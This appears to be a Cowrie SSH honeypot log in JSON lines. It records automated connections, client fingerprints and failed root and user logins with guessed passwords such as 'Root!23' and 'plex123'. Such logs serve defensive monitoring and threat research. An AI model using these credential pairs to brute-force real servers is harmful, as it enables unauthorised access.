{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:13.779027Z","src_ip":"43.134.1.45","session":"86af9057bd78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":52872,"dst_ip":"10.17.0.5","dst_port":22,"session":"676c275dd6c3","protocol":"ssh","message":"New connection: 193.228.128.84:52872 (10.17.0.5:22) [session: 676c275dd6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:14.416946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:14.443551Z","src_ip":"193.228.128.84","session":"676c275dd6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:14.546658Z","src_ip":"193.228.128.84","session":"676c275dd6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!23","message":"login attempt [root/Root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:14.800007Z","src_ip":"43.134.1.45","session":"86af9057bd78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:14.853328Z","src_ip":"193.228.128.84","session":"676c275dd6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:15.957979Z","src_ip":"193.228.128.84","session":"676c275dd6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:16.048841Z","src_ip":"43.134.1.45","session":"86af9057bd78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":50910,"dst_ip":"10.17.0.5","dst_port":22,"session":"4142e4fa00e4","protocol":"ssh","message":"New connection: 43.153.56.192:50910 (10.17.0.5:22) [session: 4142e4fa00e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:22.216764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:22.221777Z","src_ip":"43.153.56.192","session":"4142e4fa00e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:22.290655Z","src_ip":"43.153.56.192","session":"4142e4fa00e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tset","message":"login attempt [root/tset] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:22.594719Z","src_ip":"43.153.56.192","session":"4142e4fa00e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:23.669615Z","src_ip":"43.153.56.192","session":"4142e4fa00e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38246,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fcf58440c96","protocol":"ssh","message":"New connection: 193.32.162.151:38246 (159.203.135.109:22) [session: 2fcf58440c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:29.359182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:29.393468Z","src_ip":"193.32.162.151","session":"2fcf58440c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:29.467015Z","src_ip":"193.32.162.151","session":"2fcf58440c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123456","message":"login attempt [nexus/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:29.894983Z","src_ip":"193.32.162.151","session":"2fcf58440c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:31.005988Z","src_ip":"193.32.162.151","session":"2fcf58440c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":33154,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7a7cbd94b79","protocol":"ssh","message":"New connection: 43.153.50.197:33154 (10.17.0.5:22) [session: b7a7cbd94b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:34.952817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:34.958984Z","src_ip":"43.153.50.197","session":"b7a7cbd94b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:35.028277Z","src_ip":"43.153.50.197","session":"b7a7cbd94b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plex123","message":"login attempt [root/plex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:35.333025Z","src_ip":"43.153.50.197","session":"b7a7cbd94b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":54432,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd96f1fc648f","protocol":"ssh","message":"New connection: 43.128.112.183:54432 (10.17.0.5:22) [session: cd96f1fc648f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:36.032532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:36.043723Z","src_ip":"43.128.112.183","session":"cd96f1fc648f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:36.282668Z","src_ip":"43.128.112.183","session":"cd96f1fc648f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:36.407768Z","src_ip":"43.153.50.197","session":"b7a7cbd94b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"george","message":"login attempt [root/george] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:37.262224Z","src_ip":"43.128.112.183","session":"cd96f1fc648f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:38.503277Z","src_ip":"43.128.112.183","session":"cd96f1fc648f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":38780,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcdcb3ab4825","protocol":"ssh","message":"New connection: 20.203.59.187:38780 (10.17.0.5:22) [session: bcdcb3ab4825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:40.401415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:40.406500Z","src_ip":"20.203.59.187","session":"bcdcb3ab4825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:40.574692Z","src_ip":"20.203.59.187","session":"bcdcb3ab4825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"salt","message":"login attempt [root/salt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:41.278489Z","src_ip":"20.203.59.187","session":"bcdcb3ab4825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:42.449785Z","src_ip":"20.203.59.187","session":"bcdcb3ab4825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":16713,"dst_ip":"10.17.0.5","dst_port":22,"session":"28abae59f5fa","protocol":"ssh","message":"New connection: 190.119.63.98:16713 (10.17.0.5:22) [session: 28abae59f5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.695170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.701070Z","src_ip":"190.119.63.98","session":"28abae59f5fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.827046Z","src_ip":"190.119.63.98","session":"28abae59f5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.114","src_port":59794,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cfb01116e63","protocol":"ssh","message":"New connection: 148.113.221.114:59794 (10.17.0.5:22) [session: 5cfb01116e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.841729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.846666Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.866613Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
